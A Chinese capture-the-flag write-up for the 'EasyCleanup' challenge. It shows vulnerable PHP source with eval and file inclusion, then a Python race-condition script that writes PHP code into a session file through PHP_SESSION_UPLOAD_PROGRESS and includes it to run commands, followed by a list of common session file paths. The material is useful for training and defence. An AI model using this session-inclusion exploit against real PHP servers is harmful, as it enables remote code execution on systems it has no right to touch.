EasyCleanup(session文件包含&条件竞争)

打开就是原码

<?php
 
if(!isset($_GET['mode'])){
    highlight_file(__file__);
}else if($_GET['mode'] == "eval"){
    $shell = $_GET['shell'] ?? 'phpinfo();';
    if(strlen($shell) > 15 | filter($shell) | checkNums($shell)) exit("hacker");
    eval($shell);
}
 
 
if(isset($_GET['file'])){
    if(strlen($_GET['file']) > 15 | filter($_GET['file'])) exit("hacker");
    include $_GET['file'];
}
 
 
function filter($var): bool{
    $banned = ["while", "for", "\$_", "include", "env", "require", "?", ":", "^", "+", "-", "%", "*", "`"];
 
    foreach($banned as $ban){
        if(strstr($var, $ban)) return True;
    }
 
    return False;
}
 
function checkNums($var): bool{
    $alphanum = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ';
    $cnt = 0;
    for($i = 0; $i < strlen($alphanum); $i++){
        for($j = 0; $j < strlen($var); $j++){
            if($var[$j] == $alphanum[$i]){
                $cnt += 1;
                if($cnt > 8) return True;
            }
        }
    }
    return False;
}
 
?>


没什么发现,不过他叫传一个eval就可以查看phpinfo,那就先看看里面有什么。

EasyCleanup(session文件包含&条件竞争)

 看到这里的时候,特别是session.upload.progress.enable这个开启时,就想到了当传入文件上去时,有办法可以进行rce。刚开始时想用条件竞争,直接就用脚本读出来了。

import io
import sys
import requests
import threading
host = 'http://114.115.134.72:32770/index.php'
sessid = 'aa'
def POST(session):
    while True:
        f = io.BytesIO(b'a' * 1024 * 50)
        session.post(
            host,
            data={"PHP_SESSION_UPLOAD_PROGRESS":"<?php system('ls /');echo md5('1');?>"},
            files={"file":('a.txt', f)},
            cookies={'PHPSESSID':sessid},
        )
 
def READ(session):
    while True:
        response = session.get(f'{host}?file=/tmp/sess_{sessid}')
        # print(response.text)
        if 'c4ca4238a0b923820dcc509a6f75849b' not in response.text:
            print('[+++]retry')
        else:
            print(response.text)
            break
 
with requests.session() as session:
    t1 = threading.Thread(target=POST, args=(session, ))
    t1.daemon = True
    t1.start()
    READ(session)


但其实这道题不用条件竞争也可以做出来,因为session.upload_progress.cleanup没有开启,他不会及时的清理session文件,所以直接传文件,然后用题目中的include包含进去就可以了。

先构造一个传文件的表单,随便传一个文件抓包

EasyCleanup(session文件包含&条件竞争) 

1.首先构造的表单里面是没有cookie的,所以要自己加上一个cookie,phpsessid随便设置一个就可以,他会创建名为sess_PHPSESSID的文件。如果客户端未发送PHPSESSID,则创建一个由32个字母组成的PHPSESSID,并返回set-cookie。所以要知道文件名才能包含

2.当同时POST一个与session.upload_process.name的同名变量也就是PHP_SESSION_UPLOAD_PROGRESS。后端会自动将POST的这个同名变量作为键进行序列化然后存储到session文件中。通俗说就是会把内容序列化传入到session储存的文件中。

3.常见的php-session存放位置有:

/var/lib/php5/sess_PHPSESSID
/var/lib/php7/sess_PHPSESSID
/var/lib/php/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSED

传包后访问session文件

EasyCleanup(session文件包含&条件竞争)

没有问题,继续访问

EasyCleanup(session文件包含&条件竞争)

再查看session文件 

EasyCleanup(session文件包含&条件竞争) 

 得到flag。

上一篇:数据库删除数据很慢,但可以很快查出数据


下一篇:【论文阅读】【半监督-3D目标检测】-SESS:Self-Ensembling Semi-Supervised 3D Object Detection